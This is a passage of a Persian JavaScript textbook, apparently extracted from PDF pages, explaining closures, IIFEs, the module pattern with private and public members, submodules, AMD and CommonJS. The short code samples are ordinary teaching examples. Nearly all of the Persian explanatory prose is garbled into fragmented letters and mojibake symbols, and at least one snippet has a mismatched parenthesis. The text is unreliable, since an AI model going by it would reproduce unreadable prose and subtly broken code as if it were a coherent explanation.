¶ ر
È
ج
²¸ ´»²
ب
²æÁ ³
مور
Û
¸اب
Ù±
ر
»³ ı
ا
ÈÁ ´»²
· ب
ɾ
· ک¶ م
±
جا
²
ه
Ù
ی
Á»
ام¶ م·¸و
Á²
¿ ب
±» ¶
م
»³»
ر
³
ی
É
ک
ϳ
¾فا
º» ¶Á
د زبا
É
ام¶ چ
Á²
ب
Ú±
ز
» ¼ Ù
ی
Á×
ب
»
صد
م
°
س
¹°
س
134
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/137.html ================================================
:ÌÅ´
ثال
³
³
´ مور
³¼
ک¶ ¼ر
Ù
ی
É
¸ولید ک
»
· ر
±
ها
Ï
د
ÉÉ
ک
ÛÈ
ج
Ù
ی
Á»
ز آن ب¾و
» ϳ
¾فا
º»
¸ا با
Ù±
· بساز
Õ
¸اب
Ù±
ر
»³
د
à
ق
هد بو
»
و
à ²±
ز
ƹ
ام¶ ب¶ ش
Á²
¿ ب
±»
د. کد
É
ک
ÛÈ
مان ج
²æÁ ³
مور
³
¼ با عد
ϳ²
ک
µÓ
ا
±
ر
³ »
ما ر
²æÁ
function
createAdder
(
size
) {
function
add
(
y
) {
return
y + size;
}
return
add;
}
·Á»
و
û²Ó
د با
Á»
م·باشد، ¼ م·¸و
closure
،µº» Ï
شد
ϳ»³ Ù
ه
µÐ
ک¶ بازگ
add
Û
، ¸اب
Û
¿ ¸اب
±»
ر
³
هد.
³ Ö
ا
ßÁ» »
¾· ر
º»
و
Ã
ر
³ À
خ
Ð
ر م
»
د
Ý
م
Ú±
با
ÛÈ
ج
ÆÈ
ع
Ù±
ر
»³ ²æÁ
´ ک¶ مد
²
م¾÷ی
ë±²
ز ط
»
شدن
:µº» ¿¾
وش
Á Æ
قاب
²±
ب¶ صورت ز
°
با
Û
ز ¸اب
» Ï
د
ÉÉ
ک
ϳ
¾فا
º»
کد
var
addTwo = createAdder(
2
);
var
addTen = createAdder(
10
);
addTwo(
6
);
// 6 + 2 = 8
addTen(
5
);
// 5 + 10 = 15
createAdder(
8
)(
6
);
// 8 + 6 = 14
Û
· ¸اب
Á»
و
û²Ó
ز
»
د
Õ
ک¶ ب
³
¿ بو
±» Ù
ش¾ی
»³ ¶
ار´ ک
æ¾Á»
د؟
É
ه
³·
م
ý
¶ ر
Á
و
Ì
¸فاقات چ
» ¿±»
ما
»
óº
¸و
³
بو
Ï
شد
ϳ»³
ب¶ آن
size
²
ن م¾÷ی
»
و
É
ر´ ک¶ ب¶ ع
»
د
Ý
م
add
Û
· ¸اب
Á»³²
¼ بازگ
createAdder
هد چون
³·ÈÁ ý
ر
ø
¸فا
» ¿±» ·
، ¼ل
³
شو
³»
¶ آز
æÓ
¼ حا
³
ال· شو
Ã
2
garbage collector
á
ز
»³²Å
µÎ
س
Á ²
ا´ م¾÷ی
ñÓ
ال· شدن
à ÛÁ
ما
ç
¿ موضو
±» ¼ ³
ر
»³ ·Ì¾
بس
»¼ ²
ب¶ آن م¾÷ی
add
Ö
ا
Á ¶
· ب
Õ
¸اب
م·شو
Ï
امید
Á
closure
³
م·شو
Æ
´ ک¶ حاص
»¶ß
¾ی
Á ¼ ³
م·شو
ϳ»³
ϳ
¾فا
º»Í
اها´ ب
ñÓ ´
از
º ·
ال
à ´»²
ب
µ
پ
±²¹º»¼
مو¸ور جا
óº
¶ ¼ ¸و
É
زمی
ìÅ
ر
³ ¶
ک
µº» á
ز
»³²Å Ú±
grabage collector
2
.³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
ها مور
²
م¾÷ی
135
Ϳָ ØÉ³
================================================ FILE: HTML/138.html ================================================
[
)
modules(
¸ا
Å
ماژو
³
د
ß
م
ϳ
¾فا
º» µ
ی
Â
د ک¶ قاب
É
م·ک
Ï
شار
» ¶
ام
Á²
ا ب
±
ز کد
» ·Ð
ب¶ بخ
ѼÜ
ما
ÏÜ»¼ µ
پ
±²¹º»¼
ر جا
³
ها´
ϳ
¾فا
º» ¿±²¸³²
کارب
²Å
ز
» .
د
É
· ک
Á»³²
بازگ
string
ا ح¾·
± ¼
object
،Û
¸اب
µº» ¿¹È
¼ م
³
ر
»³ »
ر
م·باشد.
ѼÜ
ن ما
²¾Å µ
پ
±²¹º»¼
ر جا
³
ها
closure
م·باشد:
²±
ز
ƹ
ب¶ ش
²
¼رگ
²
م
µÞ¸ ´
ها
ѼÜ
· ما
Â
ک
µ
حال
(
function
() {
/* code */
})();
»
صد
»
ر
³
و
à 걲ո
ز
» ìÅ ¶Â
اص
ÓÍ
ک¶ ب
槯
IIFE
Û
ان ¸اب
È
ه
ø
و
Ó
¶ کد
¹¸ ¶
ید ک
É
م·ک
Ï
اهد
Ð
م
Ù
هی
»
و
à ·º
ر
²
م¶ ب
»³»
ر
³ ¶
¼ مثال· ک
³»³ Ö
ا
ßÁ» ×
ی
Á
IIFE
Ö²Ó
ز
» Ò
ار
à »
¿ کار ر
±»
ن
»
¾¶ م·¸و
Î
ل
» .
د
Á
م·ز
´²º Ú±
ر¼ با
³
و
Ã
ز
»
object
Ú± µÃ
ا
º ´»²
ک¶ ب
µº» Ï
وش¾¶ شد
Á ´³
عا
Û
¸اب
Ö²Ó ¶
ب
³²
ک
.³¼
ب¶ کار م·ر
Ï
¶ شد
Ç»
ر
» ¼ Ë
ا
à ´
ژگ·ها
±¼
function
Car
(){
var
carName, color;
// create a car
function
_
make
(
name,color
) {
carName = name;
color = color;
return {
name: carName ,
color: color
};
}
return
{
make: _make
};
}
// create a `Car` module instance
var
car = Car();
car.make(
“peykan”
,
“white”
);
136
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/139.html ================================================
، ک¶
µº» Ï
شد
²
ک
è
Car
´ ¸ولید
»²
ب
ѼÜ
ما
Ú± ³²¹ÂÈ
ع
Ï
و
ÞÁ
ز
»
ا
α
¶ کد ز
¹¸ Ú± °
با
Ñ
ر مثا
³
_ چون ب¶
make
Û
، ¸اب
Ù
ی
É
¸ولید ک
ê¾
ژگ·ها´ مخ
±¼
ر¼ها´ با
³
و
Ã
ز آن
» ϳ
¾فا
º»
با
Ù
ی
Á»
م·¸و
Ö
ا
Á ê±²Õ¸ ç
و
Á ¿±» ¼ µº» Ï
شد
ç¼²
_ ش
²¾
ک
»
با کار
µº» Ï
شد
ϳ
¾فا
º» ¼ ê±²Õ¸ ·Âû³
صورت
م·باشد.
µ
پ
±²¹º»¼
ر زبان جا
³ Ö
و
º²
م
µ
حال
Ú± ·Âû³ Û
ب
»
´ ¸و
»²
ب
ارج·
à 챼²º Ú±
ز
» ،´³¼
¶ ¼ر
º
ا
É
ش
Ú± í
ا
º» ²
ب
»
ر¼ها ر
³
و
Ã
عات
Í
ط
» °
با
Ñ
ر مثا
³
ن
»
م·¸و
µÃ
ا
º ´»²
ب
³
و
à ²æÁ ³
ر¼ مور
³
و
à ´
ژگ·ها
±¼ Ú¸ Ú¸ ¶Ç»
ر
» ¶
ب
Ö×Â
م
²Ì±³ é
¸ی
²¸ ¿±
¼ بد
³²
ک
µÓ
ا
±
ر
³
ی
É
ک
³
ا
ß±» »
ز آن ر
» ¶Á
و
ÈÁ Ú± Ù
ی
Á»
¶ آن م·¸و
º
ا
É
ر¼ ¼ ش
³
و
à ç
و
Á ¶Ç»
ر
»
ا با
Ôɸ ¼ Ù
یس¾ی
Á
م·باشد:
»²
ج
» Æ
قاب
²±
ب¶ صورت ز
Ù±³²
ک
µÎÞ
آن ص
³
ر مور
³ ¶
کد´ ک
function
Car
(){
var
carName, carInfo;
// create a car
function
_make
(
name, id
) {
return getAjaxData(name, id)
}
// get data from url
function
getAjaxData
(
car, id
) {
// we get car data from some URL
// carInfo will set here
return
carInfo;
}
return
{
make: _make
};
}
// create a `Car` module instance
var
car = Car();
car.make(
“peykan”
,
23
);
137
Ϳָ ØÉ³
================================================ FILE: HTML/14.html ================================================
157
......................................................................................
Þ
آدر
Á
ب
blob
×±¹Ç
ت
157
..........................................................................................................
blob
ا¾
ȹ¸
م
³
بخش ·ه
[
Transpile
و
Polyfill ،
ت
±
اسکری
ÇȲ Æ
ه¸ا
ÉÊ·
159
...................................................................................
¶Ì±²Í
اس
»
ا¾ ´ک
ÈÁ
خ
˺
160
.................................................................................................
¶؟
˽
چ
ES
161
................................................................................
ا
»
ار ´ک
µ
تا چ
Ó± ¾
ا
ÈÁ
خ
˺
161
..................................................................................................
ES5 Á
خ
˺
161
.....................................................................................
ES2015
ا
± ES6 Á
خ
˺
161
.................................................
)
ES2018 , ES2017 , ES2016(
9 , 8 , 7 ¾
ا
ÈÁ
خ
˺
162
............................................................................................
ES.Next Á
خ
˺
162
.............................................................................................
ES6 ¾
ا
È
ژگی
±À
162
........................................................................................
Classes
ا
ÈÞ°
ک
164
.......................................................................................
Arrow Functions
166
....................................................................
)
template literals(
ا
È Á¸
رش
æ
ال
Ò
167
......................................................................
Object
À Á±´
´¾ آر
²
ب
Destructing
167
..............................................................................................
spread
²Îл¿
168
.................................................................................
Set
À Map ¾
ا
ÈÁ¿
و
ȯ
م
169
.............................................................................................
Polyfill Ä
و
µ
مف
170
.........................................................................................
polyfill ²¸µ
ب
ÆÀ
ر
171
.....................................................................
Ponyfill
¾´²
ب
IIFE
À
Closure
´س¸فاده ´ز
174
.....................................................................................................
Transpile
فهوم
±
175
........................................................................................
transpile
ا¾
È
´ر
ç
´ب
176
..........................................................................................
Babel
´س¸فاده ´ز
178
.....................................................................................................
babel
ا¾
ÈÛÀä
ما
178
.................................................................................................
core
ÛÀä
ما
179
...................................................................................................
CLI
ÛÀä
ما
================================================ FILE: HTML/140.html ================================================
[
private
À³²¶Á Ò¼
د
·ÂÞ
_ ب¶ صورت م
make
Û
ک¶ ¸اب
Ù
گف¾ی
°
با
Ä
ر بخ
³ Ï
شد
²
ک
è ´
ها
µÎÞ
ز ص
» ·Ð
ر بخ
³
Û
ب
»
´ ¸و
»²
ش¾¿ _ ب
»
´ گذ
»²
وم· ب
È
ع
Úκ Ú±
ز
» ¼ ³
ر
»³ ·º²¾º³ µ
ی
Â
قاب
ѼÜ
ما
ÆÃ»³
ر
³ óÝÓ ¼
ز
» ·Á»
و
û²Ó
ان
¹
م
» ¶
وص· م·باشد ک
àà Û
¸اب
Ú± _
make
Û
¸اب
Û
ق
»¼
ر
³ ،Ù
ی
É
م·ک
ϳ
¾فا
º» ·ÂÞ
م
:·Â
ک
ƹ
. ب¶ ش
³
ر
»
د
Á »
¼ن ر
²
بی
var
Module = (
function
() {
var
privateMethod =
function
() {
// do some operations
};
})();
¼ ·º²¾º³ Æ
¼ن قاب
²
ز بی
»
Module
ѼÜ
ما
ÆÃ»³
ر
³
privateMethod
Û
ک¶ ¸اب
Ù
ی
É
م·ک
Ï
اهد
Ð
م
م·باشد.
private
ا
± ·
وص
àÃ
حا
Íä
ص
» ¼ µ
یس
Á ·Á»
و
û²Ó
Ú± óÝÓ ·É
ی
É
¿ چ
±» ³
ر
»
¼ مو
³
ر
»
د
Á
private
وص· ¼
àÃ Ö²Ó ¶
· ب
Õ
ا ¸اب
È
ی
ݾ
مس
µ
پ
±²¹º»¼
¾¶ جا
Î
ل
»
µ
¿ کار هس
±» Ö
ا
ßÁ» ¶
ید چ¶ ل×¼م· ب
º²
د بپ
±
د. شا
ɾ
وص· هس
àà µ
حال
Ï
د
ÉÉ
از´ ک
º ¶
ی
Î
کد ش
؟
µº» ϳ»
د
Á Ö
ا
ßÁ» »
ر
ÆÈ
¿ ع
±» µ
پ
±²¹º»¼
جا
³
و
à ·¾
¼ق
ها´
ϳ»³ µº» ¿¹È
ک¶ م
scope
ر
³ ³
ها´ موجو
ϳ»³ ¼
ها
²
ز م¾÷ی
» µæÓ
ا
Þ
´ م
»²
ک¶ ما ب
µº» ¿±» Ąº
ا
Å
ها´
Ï
د
É
ه
³¶Õº
ا ¸و
±
ها
²¹
، ه
³»²Ó» óº
ها´ کد ¸و
Ä
ز بخ
» ´²
س
¹±
ͱ¼·
و
Î
می
Â
د،
É
باش
Ê
ا
µ
ح
ç¼²
ش
»
ر
³
و
à ¶
¼لی
» ´
¼ق¾· کارها
°
ا
Ⱦ
ح
» ،³
شو
ϳ
ز
»
ا صد
±
ابد
± ²
باشد ¼ ¸÷یی
í²¾º³ Æ
قاب
²Ì±³
ê±²Õ¸ ·
وم
È
ع
scope
ر
³ Ö»
ها ک¶ مد
Û
¿ ¸اب
±» ¼
د
±³²
م·ک
ê±²Õ¸ ê¾
ها´ مخ
Û
¸اب
Ö»
د، مد
±³²
ک
¿¹È
د ¼ م
É
باش
í²¾º³ Æ
ی× قاب
Á Ù¾
یس
º ´
ها
Ä
· بخ
Ý
ر ماب
³ ¶
د ک
ɾ
ش
»
د
Á ·
ل×¼م
å
د، هی
Á
م·شد
باشد.
ϳ
½ آ¼ر بو
»
¾ان عذ
±»²
· بارها ب
É
ی
É
¿ چ
±» ê¾
مخ
³
ر
»
· ¼ مو
Ⱥ» ´
اب¶ها
и µº»
´²
گی
ϲÔ
¼ ب
Ù¾
یس
º ê¾
ها´ مخ
Ä
´ بخ
»²
ب
éº
ا
É
ها´ م
ѼÜ
ما
³
ا
ß±»
د؟
±» ¶¾Ó
ا
± »
ار ر
¹
ه
»
ر
ìÅ
ی
É
¶ ک
Ó
ضا
» ³
و
à Ï
ح· شد
»²
ها´ ط
Ù¾
یس
º ¶
ب
Ù
ی
Á»
ها م·¸و
ѼÜ
ما
óº
ف· ک¶ ¸و
¾
ات مخ
Á
ا
¹
م
»
ز
»
é
ال
õ ²
ب
ϼÍ
د ع
Á
ا
º
م·ر
Ö
ا
ßÁ» ¶
¼ ب
µ±²±
مد
»
اص· ر
à ¶
، ک¶ ¼ظیف
Ä
بخ
²
´ ه
»²
ب
ѼÜ
¾¿ ما
Ã
ا
º
با
ی×
Á »
ر
Û
ب
»
· ¸و
º²¾º³ ðäº ¶
ب
Ê
بو
²
م
³
ر
»
ها، مو
²
¼ م¾÷ی
Û
ب
»
· ¸و
Ⱥ» ´
اب¶ها
и ç
موضو
²
شدن ب
publicAPI
Ø
ر
³ ¶
د ک
Õ
ب
Ä
ب¶ بخ
Ä
¿ بخ
±»
ات
Þ
شدن ¸وضی
Æ
´ کام
»²
، ب
³²
ک
µ±²±
ن مد
»
م·¸و
ید.
É
ک
µ
ق
³ ³
ر
»³ Ö
ا
Á
138
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/141.html ================================================
[
Å
ماژو
publicAPI Ò¼
د
´»
ر
»³ µº» ¿¹È
ک¶ م
µº» Ï
شد
ϳ»³ µÐ
بازگ
object
Ú± ¶
ک
³
م·شو
Ï
اهد
Ð
ها م
ѼÜ
ما
²
کث
»
ر
³
باشد، مثا
³
و
à ¶Á
ر بد
³ Û
ا ¸اب
± ²
م¾÷ی
var
Module = (
function
() {
return
{
publicProperty: “value”,
publicMethod:
function
() {
// code goes here
}
};
})();
Ö
ا
Á ¶
ب
Û
¸اب
Ú± ¼
publicProperty
Ö
ا
Á ¶
ب
²
م¾÷ی
Ú± ´
ر
»
ر
»³ °
با
ѼÜ
ز ما
» Ï
· شد
Á»³²
بازگ
object
ز آنها
»
Module
²
ر¼´ م¾÷ی
²
ب
Ù
ی
Á»
ن آنها م·¸و
³»³ µÐ
م·باشد ک¶ با بازگ
publicMethod
·º²¾º³ µ
ی
Â
ی× باشد ک¶ قاب
Á ·
وص
àà Û
ب
»
ها ¼ ¸و
²
´ م¾÷ی
»
ر
»³
د
Á»
م·¸و
ѼÜ
¿ ما
±».Ù
ی
É
ک
ϳ
¾فا
º»
´ مثا
»²
د، ب
Á
ر
»
د
Á »
ر
ѼÜ
ز ما
»
¼ن
²
ز بی
»
var
Module = (
function
() {
var
age =
12
;
function
_collectAmount
(){
return
age +
300
;
}
// public API
return
{
publicProperty:
“value”
,
publicMethod:
function
() {
// code goes here
return “amount: ” +
_collectAmount()
);
}
};
})();
139
Ϳָ ØÉ³
================================================ FILE: HTML/142.html ================================================
:Ù±
ر
»³ ،Ù
وش¾¶ باشی
Á
د
Õ
¶ کد ب
¹¸ Ñ
· ب¶ صورت مثا
±
کدها
ѼÜ
¿ ما
±»
ز
» ϳ
¾فا
º» ´»²
ب
²
گ
» Ñ
حا
Module
.publicProperty;
// value
Module
.publicMethod();
// amount: 312
Module
.age;
// undefined
// TypeError: Module._collectAmount
Module
._collectAmount();
ϳ
ز
»
صد
»
· ر
Âû³ Û
ب
»
ز ¸و
» ·¹± ·
¼ج
²Ã
ن
³»³ µÐ
´ بازگ
»²
ب
publicMethod
Û
ک¶ ¸اب
Ù
ی
É
م· بی
ϳ
¾ا
Ó» ¶
¸فاق· ک
» ìÅ ،³
ر
»
د
Á ·º²¾º³ ·Âû³ Û
ب
»
¼ن ب¶ ¸و
²
ز بی
» ²
ک¶ کارب
µº» ·
ر حال
³ ¿±» ¼ µº»
د.
Á×
ب
»
صد
»
· ر
Âû³ Û
ب
»
د ¸و
Á»
م·¸و
í
ا
É
اش
Á
ک¶ ب¶ صورت
µº» ·
وم
È
· ع
Õ
¸اب
ê±²Õ¸ µº»
[
publicAPI Ʋ
ر
³
return
Æ
¸ا
á
سب
»²
کث
» ¶
· ک
Ð
ک¶ بخ
Ù
ی
Á»³·
¼ م
Ù±» Ï
ا شد
É
ها آش
module
ها´ کار با
µ
ز کار با ماهی
» Ä
¿ بخ
±» ¶
¸ا ب
ها
²
¼ م¾÷ی
Û
ب
»
¾¿ ¸و
Ã
ا
º ·
وم
È
´ ع
»²
´ ب
²
مسی
Ù¹
ح
Ù
هی
³·
م
µÐ
بازگ
ѼÜ
ز ما
»
object
ب¶ صورت
گف¾¶ م·شو
publicAPI
²Ì±³ Û
اب
É
· م
ò
¿ ک¾ا½ ¼ ب
±»
ر
³
object
حا ب¶ آن
Íä
ص
» ¶
م·باشد ک
ر
»³ ³
¼جو
ê¾
مخ
á¼
¿ ر
±
د
É
چ
publicAPI
ن
³»³ µÐ
¼ بازگ
µÃ
ا
º ´»²
ب
±
· آن:
Á»³²
· ¼ بازگ
ÂÞ
م
scope
ر
³
publicAPI
¶¹¸ ¶¹¸ µÃ
ا
º
var
Module = (
function
() {
// locally scoped object
var
publicAPI = {};
// local private variable and function
var
age =
12
;
function
_collectAmount
(){
return
age +
300
;
}
publicAPI.publicMethod =
function
(){
console
.log(
“Hi there!”
);
}
// return publicAPI object
return
publicAPI;
})();
140
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/143.html ================================================
±
· آن:
Á»³²
¼ بازگ
publicAPI
ا
ß¹± µÃ
ا
º
var
Module = (
function
() {
// local private variable and function
var
age =
12
;
// private module
function
_collectAmount
(){
return
age +
300
;
}
var publicAPI = {
publicMethod:
function
(){
console
.log(
“Hi there!”
);
}
};
// return publicAPI object
return
publicAPI;
})();
±
ز م¾÷ی
» ϳ
¾فا
º»
ا بد¼ن
ß¹±
object
ن
³»³ µÐ
بازگ
var
Module = (
function
() {
// local private variable and function
var
age =
12
;
function
_collectAmount
(){
return
age +
300
;
}
// return publicAPI object
return
{
publicMethod:
function
(){
console
.log(
«Hi there!»
);
}
};
})();
141
Ϳָ ØÉ³
================================================ FILE: HTML/144.html ================================================
[
Å
زیر ماژو
Ʋ¼²
د
Æ
¸ا
Å
ماژو
ها´
Ä
ک¶ بخ
µº» ·Ô±
، بد
Ù
ی
É
از´ ک
º ϳ
یا
ŠѼÜ
ب¶ صورت ما
»
ب¾د
»
ز
» »
ام¶ ر
Á²
ب
Æ
ک
Ù
هی
»
بخو
²
گ
»
ها
Ä
ر´ بخ
»
´ بارگذ
»²
¼ ب
Ù
ی
É
ک
µ±²±
ام¶ مد
Á²
· ب
Â
ص
» ѼÜ
ان ما
È
ه
ÆÃ»³ Ù
ی
Á»
·¸و
ÈÁ »
آن ر
ê¾
مخ
ش¾¶ باشی
»³ ´»¶Á
گا
»
ها´ جد
ѼÜ
ما
ÛÎä
¶ ¼ بال
Á
گا
»
کدها´ جد
µ
س
±
، م·با
ê¾
ها´ مخ
³²¹ÂÈ
¼ ع
م·باشد:
²±
ب¶ صورت ز
Ù±»Ï³²
ح· ک
»²
ام¶ ط
Á²
یات ب
Â
´ ک
»²
¼ل· ک¶ ب
Ü
ید ما
É
ک
þ²Ó
var
MyApp = (
function
() {
var
_doSomePrivateThing =
function
() {
// private
};
var
publicMethod =
function
() {
// public
};
var
mySecondPublicMethod =
function
() {
// public
};
return
{
publicMethod: publicMethod,
mySecondPublicMethod: mySecondPublicMethod
};
})();
Ö
ا
ßÁ» ¶Á
گا
»
جد
Í
یا¸· کام
ÂÈ
ع
Ù
هی
»
و
÷
ک¶ م
»
ام¶ ر
Á²
ز کدها´ ب
» ·Ð
ید ک¶ ما بخ
É
ور ک
ภ°
حا
یا¸· ک¶
ÂÈ
ع
²
گ
»
، قاعد¸ا
Ù
ی
É
ک
»²
ج
» )
هد
³ Ö
ا
ßÁ» ¶
ام
Á²
· ب
Â
ص
» ѼÜ
با ما
²
رگی
³ ·¸
یا
ÂÈ
ا ح¾· ع
±(
هد
³
،Ïܼ²Å ·
ب×رگ
ðäº í
ا
º» ²
ش¾¶ باشد، ب
»³ ´³
ا
±
باشد ¼ کدها´ ز
Ï
ید
ã
ی
Å Ù
هی
³ Ö
ا
ßÁ» Ù
هی
»
و
÷
م
د.
º
· ر
ÈÁ ²æÁ ¶
· ب
Þ
ی
Þ
ر کار ص
»
د
Ý
م
Ú± ،·Â
ص
» ѼÜ
ر ما
³
یات
ÂÈ
وش¾¿ کدها´ آن ع
Á
¼ل·
Ü
ن ما
»
و
É
ک¶ ب¶ ع
Ù
ی
É
ک
»²
ج
» ²Ì±³ ·
¼ل
Ü
ر ما
³ »
د ر
±
یات جد
ÂÈ
ع
µ
س
±
¶ م·با
¹É±» Ñ
و
Î
با ق
ìÅ
142
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/145.html ================================================
ز
» ²Ì±³ ·
وم
È
ع
Û
ب
»
د ¸و
ÉÁ
ن ما
»
، ¸ا ب¾و
³²
ر گی
»²
ق
ѼÜ
¿ ما
±»
ز
» ·Ð
¼ل· بخ
³
از´ شو
ºÏ³
یا
Å ¶Á
گا
»
جد
.³²
ک
ϳ
¾فا
º»
آن
:µº» í²¾º³ Æ
¼ن قاب
²
ز بی
» ²±
ام¶ ما ب¶ صورت ز
Á²
· ب
Â
ص
» ѼÜ
ما
²
حاض
Ñ
ر حا
³
Object { publicMethod:
function
, mySecondPublicMethod:
function
}
²Ì±³ ·Õ
ن ¸اب
»
و
É
ب¶ ع
»²
ج
»
ز
» ìÅ ¶
ک
Ù
ی
É
ک
»²
ج
» ·
¼ل
Ü
ما
²±
ز
Ú± Ù
هی
»
و
÷
، ما م
°
گف¾¶ها´ با
ëÎ
ط
ش¾¶ باشی
»³ ²±
د ز
ÉÁ
¼ج· ما
²Ã ¼ ³²
ر گی
»²
وم· ق
È
ع
Û
ب
»
¿ ¸و
±»
ار
É
ر ک
³
Object { publicMethod:
function
, mySecondPublicMethod:
function
, subModule:
function
}
µº³ ³
¿ مور
±» ¶
ن ب
»
¶ م·¸و
Á
و
Ì
ام¶ چ
Á²
· ب
Â
ص
» ѼÜ
ر ما
³
publicAPI
´»²
وش¾¿ کد ب
Á
ما بد¼ن
»
؟
µÓ
ا
±
subModule
Ö
ا
Á ¶
ب
²Ì±³ ѼÜ
ما
Ú± ²
م
» ¿±» ´»²
، ب
µº» ѼÜ
ما
²±
ز
µ±²±
¼ مد
µÃ
ا
º Ï
و
ÞÁ
ر
³ Ąº
ا
Å
é
¸ی
²¸ ¿±
، بد
Ù
هی
³·
م
í
ا
ŠѼÜ
ما
²±
´ ب¶ ز
³¼
¼ر
²¾
م
»
ار
Å
ن
»
و
É
ب¶ ع
»
· ر
Â
ص
» ѼÜ
ما
ì
پ
º ¼ Ù±
از
º·
م
³²
· کارب
Â
ص
» ѼÜ
ز ما
» ·Ð
ن بخ
»
و
É
ک¶ کدها´ آن ب¶ ع
Ù
ش¾¶ باشی
»³ ·
¼ل
Ü
ما
²±
ز
Ú± Ù
ی
Á»
م·¸و
´³¼
با ¼ر
»
د
Õ
¶ ب
¹É±» ²Ì
باشد م
IIFE
µ
س
±
، م·با
ѼÜ
ما
²±
ید ک¶ ز
É
¸وج¶ ک
óÝÓ ،µ
ش
»³
د
É
ه
»
و
Ã
شو
ϳ
ز
»
ام¶ صد
Á²
ز ب
» ·Ð
ر بخ
³ ѼÜ
ان ما
È
ه
م·باشد:
²±
ز
Ö²Ó ¶
ب
ѼÜ
ما
²±
ز
ϳ
ا
º
بسیار
Ñ
مثا
var
SubModule = (
function
(MyApp) {
// we have access to `
MyApp
`
})(MyApp);
Ù
ی
Á»
¼ م·¸و
Ù±
ر
»³ ·º²¾º³ ¶
ام
Á²
· ب
Â
ص
» ѼÜ
ما
object
ب¶
ѼÜ
ما
²±
¶ ز
Á
ر بد
³
ما
°
´ کد با
»²
ج
»
با
µ
س
±
م·با
²±
¶ کد ز
¹¸
د
ÉÁ
´ آن کد´ ما
»²
ج
» ´»²
ک¶ ب
Ù
ی
É
ک
ë±
ام¶ ¸×ر
Á²
ب
object
ب¶
»
ر
²æÁ ³
مور
Û
¸اب
وش¾¶ شو
Á
143
Ϳָ ØÉ³
================================================ FILE: HTML/146.html ================================================
var
SubModule = (
function
(
MyApp
) {
MyApp.subModule =
function
(){
// Our app public function code here!
}
return
MyApp;
})(MyApp || {} );
ک¾ا½
Ñ
ر طو
³ µº» ¿¹È
! ک¶ م
é
¼، چ¶ جال
»»»»¼ :
ات
æÞ
ز ل
» ·¹± ،°
¶ کد با
¹¸
دن
Á»
و
Ã
با
°
ا
Ⱦ
ح
»
¶Á
و
Ì
باشد ک¶ چ
ûÉ
· گ
È
¾ان ک
±»²
ب
éÂä
وز م
É
ه
µº» ¿¹È
ا م
±
د
±» ¶¾
ش
»³ »
ید ر
É
ب¶ ک
²ß¸
¿ بار
±
د
É
چ
؟!
Ù
ی
É
م·ک
ϳ
¾فا
º»
ز آن
» ¶Á
و
Ì
ا چ
±
هد
³·
م
ý
ر
ø
¸فا
» ¿±»
»
ر
³
ام¶ ما بو
Á²
· ب
Â
ص
» ѼÜ
ک¶ ما
MyApp
´³¼
ح· شد ک¶ ¼ر
»²
ط
ѼÜ
ما
²±
ز
Ú± ،Ï
¶ شد
Ç»
ر
» Ñ
ر مثا
³
Ä
¿ بخ
±» ،
ید
ɹÁ éßÕ¸ µº» Ï
وش¾¶ شد
Á
IIFE
·Á»
و
û²Ó
ر
³ ¶
ک
{} ||
کد
³
ر مور
³ ،
د
É
م·ک
µÓ
ا
±
ر
³
ا
äÃ
با
ѼÜ
ما
²±
´ ز
»²
ب
Ï
وش¾¶ شد
Á ´
باشد کدها
Ï
د
ÐÁ ê±²Õ¸ ·Â
ص
» ѼÜ
ما
²
گ
» ¶
د ک
É
· م·ک
º
ر
²
ب
object
ب¶
ѼÜ
ما
²±
ر ز
³ é
¸ی
²¸ ¿±» ¶
هد، ب
³ ¶
م
»³» ³
و
à ·Â
ص
» ³²¹ÂÈ
´ ع
»²
ج
» ¶
اشد ¼ ب
ÎÁ Ï»²È
ه
ê±²Õ¸ »
ر
³
و
à ²æÁ ³
مور
Û
ا ¸اب
± ²
ر¼´ آن، م¾÷ی
Ù
ی
Á»
ش¾¶ ¼ م·¸و
»³ ·º²¾º³ Ù¾
یس
º ·Â
ص
» ѼÜ
ما
ر
»
د
Ý
ر م
³ ·Â
ص
» ѼÜ
ات ما
Á
ا
¹
م
»
ز
»
¸ا
Ù
ی
É
· م·ک
Á»³²
بازگ
»
ر
³
موجو
object
ی×
Á ²Ã
ر آ
³ ،Ù
ی
É
ک
»²
ج
» ¼
ی
É
ک
ϳ
¾فا
º» ѼÜ
ما
²±
¾· ز
Ð
بازگ
[
µ¹·
ساز
Æ
¸ا
Å
ع فرمت ماژو
²¶·²
´»²
¼ ب
ϳ²
ب
Ö
ا
Á »
ر
³
م·شو
ϳ
¾فا
º» ·
وم
È
ک¶ ب¶ صورت ع
Ï
د
Á
از
º ´
ها
ѼÜ
ور ما
ÔÐ
ها´ م
µ
م
²Ó
:Ù±
ا شو
É
آش
Ö»
کد
²
ب¶ ه
Ê
بو
²
ها´ م
µ
¸ا با ماهی
Ù
ی
É
م·ک
²
ک
è ·
¶ کد کو¸اه
¹¸ Ö»
کد
²
ه
Asynchronous Module Definition )AMD(
//Calling define with a dependency array and a Factory Function
define([
‘dependency1’
,
‘dependency2’
],
function
(
dep1,
dep2
) {
//Define the module value by returning a value.
return function
() {};
});
144
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/147.html ================================================
Ù
هی
»
و
Ã
یاز
Á
د
±
جد
ѼÜ
ر ما
³ ¶
· ک
±
·ها
̾
بس
»¼
ز
» ´»¶±»
آر
»
ر
Ѽ» ²¾
م
»
ار
Å Ù
ی
Á»
، م·¸و
define Û
ر ¸اب
³
شدن
ϳ
ز آما
» ìÅ
¸ا
Ù
ی
É
ک
ϳ
یا
Å
callback
ب¶ صورت
Û
¸اب
Ú± ì
پ
º ¼ Ù
ر بدهی
»
د
Ý
م
µ
ش
»³
Û
¶ آن ¸اب
Á
ر بد
³ ¶
ما ک
Ï
وش¾¶ شد
Á ´
¼ کدها
Ï
شد
»²
ج
» Û
·ها، ¸اب
̾
بس
»¼ Ï
د
ÉÉ
ک
Ù
ه
»²Ó ´
ها
²
م¾÷ی
د.
Á
شو
»²
ج
» ،
د
Á²
ر م·گی
»²
ق
CommonJS
ϳ
¾فا
º»
د´ها
É
یازم
Á ´
ر
»
´ بارگذ
»²
ب
require
ز
» ¶
ک
µº» Ï
شد
ϳ
¾فا
º»
node.js
ر
³ µ
م
²Ó ¿±»
